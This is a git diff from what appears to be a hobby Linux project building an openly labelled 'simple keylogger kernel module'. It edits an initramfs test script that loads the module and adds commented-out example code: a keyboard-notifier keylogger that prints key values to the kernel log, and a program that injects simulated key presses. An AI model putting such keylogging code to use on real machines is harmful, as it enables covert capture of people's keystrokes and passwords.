diff options
Diffstat (limited to 'src')
-rw-r--r-- | src/daemon/main.c | 2 | ||||
-rw-r--r-- | src/initramfs-init.sh | 9 | ||||
-rw-r--r-- | src/module/module.c | 37 | ||||
-rw-r--r-- | src/tests/test3.c | 50 |
4 files changed, 93 insertions, 5 deletions
diff --git a/src/daemon/main.c b/src/daemon/main.c index 876c004..1e562d6 100644 --- a/src/daemon/main.c +++ b/src/daemon/main.c @@ -1,8 +1,6 @@ #include <stdio.h> -#include "test-util.h" int main(void) { - hello(); return 0; } diff --git a/src/initramfs-init.sh b/src/initramfs-init.sh index a566b57..6a812b9 100644 --- a/src/initramfs-init.sh +++ b/src/initramfs-init.sh @@ -1,12 +1,15 @@ -#!/bin/sh - # mount the proc file system mkdir /proc mount -t proc proc /proc +# create devices +mkdir -p /dev/input +mknod /dev/input/event0 c 13 64 + +# insert module insmod /usr/keylogger.ko -# run each test +# run tests echo "$(cd usr; ls -v1 tests | while read line; do tests/$line; echo; done)" exec /bin/sh diff --git a/src/module/module.c b/src/module/module.c index b3b92af..e41fe75 100644 --- a/src/module/module.c +++ b/src/module/module.c @@ -86,3 +86,40 @@ module_exit(exit_keylogger); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Kartofen"); MODULE_DESCRIPTION("A simple keylogger kernel module"); + + +// Key logging example code + +// #include <linux/module.h> +// #include <linux/init.h> +// #include <linux/keyboard.h> + +// static struct notifier_block nb; + +// static int keylogger_notify(struct notifier_block *nblock, +// unsigned long code, void *_param) +// { +// struct keyboard_notifier_param *param = _param; + +// if (code == KBD_KEYCODE && param->value == 1) { +// printk(KERN_INFO "Key pressed: %d\n", param->value); +// } + +// return NOTIFY_OK; +// } + +// static int __init keylogger_init(void) +// { +// nb.notifier_call = keylogger_notify; +// register_keyboard_notifier(&nb); +// return 0; +// } + +// static void __exit keylogger_exit(void) +// { +// unregister_keyboard_notifier(&nb); +// } + +// module_init(keylogger_init); +// module_exit(keylogger_exit); +// MODULE_LICENSE("GPL"); diff --git a/src/tests/test3.c b/src/tests/test3.c new file mode 100644 index 0000000..d3bcf4a --- /dev/null +++ b/src/tests/test3.c @@ -0,0 +1,50 @@ +int main(void) +{ + return 0; +} + +// This code is to simulate key presses + +// #include <stdio.h> +// #include <fcntl.h> +// #include <unistd.h> +// #include <linux/input.h> + +// int main() +// { +// int fd = open("/dev/input/event0", O_WRONLY | O_NONBLOCK); +// if (fd < 0) { +// perror("Failed to open device"); +// return 1; +// } + +// struct input_event event; +// memset(&event, 0, sizeof(event)); +// event.type = EV_KEY; +// event.code = KEY_A; +// event.value = 1; // Key press +// gettimeofday(&event.time, NULL); + +// ssize_t ret = write(fd, &event, sizeof(event)); +// if (ret < 0) { +// perror("Failed to write event"); +// close(fd); +// return 1; +// } + +// memset(&event, 0, sizeof(event)); +// event.type = EV_SYN; +// event.code = SYN_REPORT; +// event.value = 0; +// gettimeofday(&event.time, NULL); + +// ret = write(fd, &event, sizeof(event)); +// if (ret < 0) { +// perror("Failed to write sync event"); +// close(fd); +// return 1; +// } + +// close(fd); +// return 0; +// } |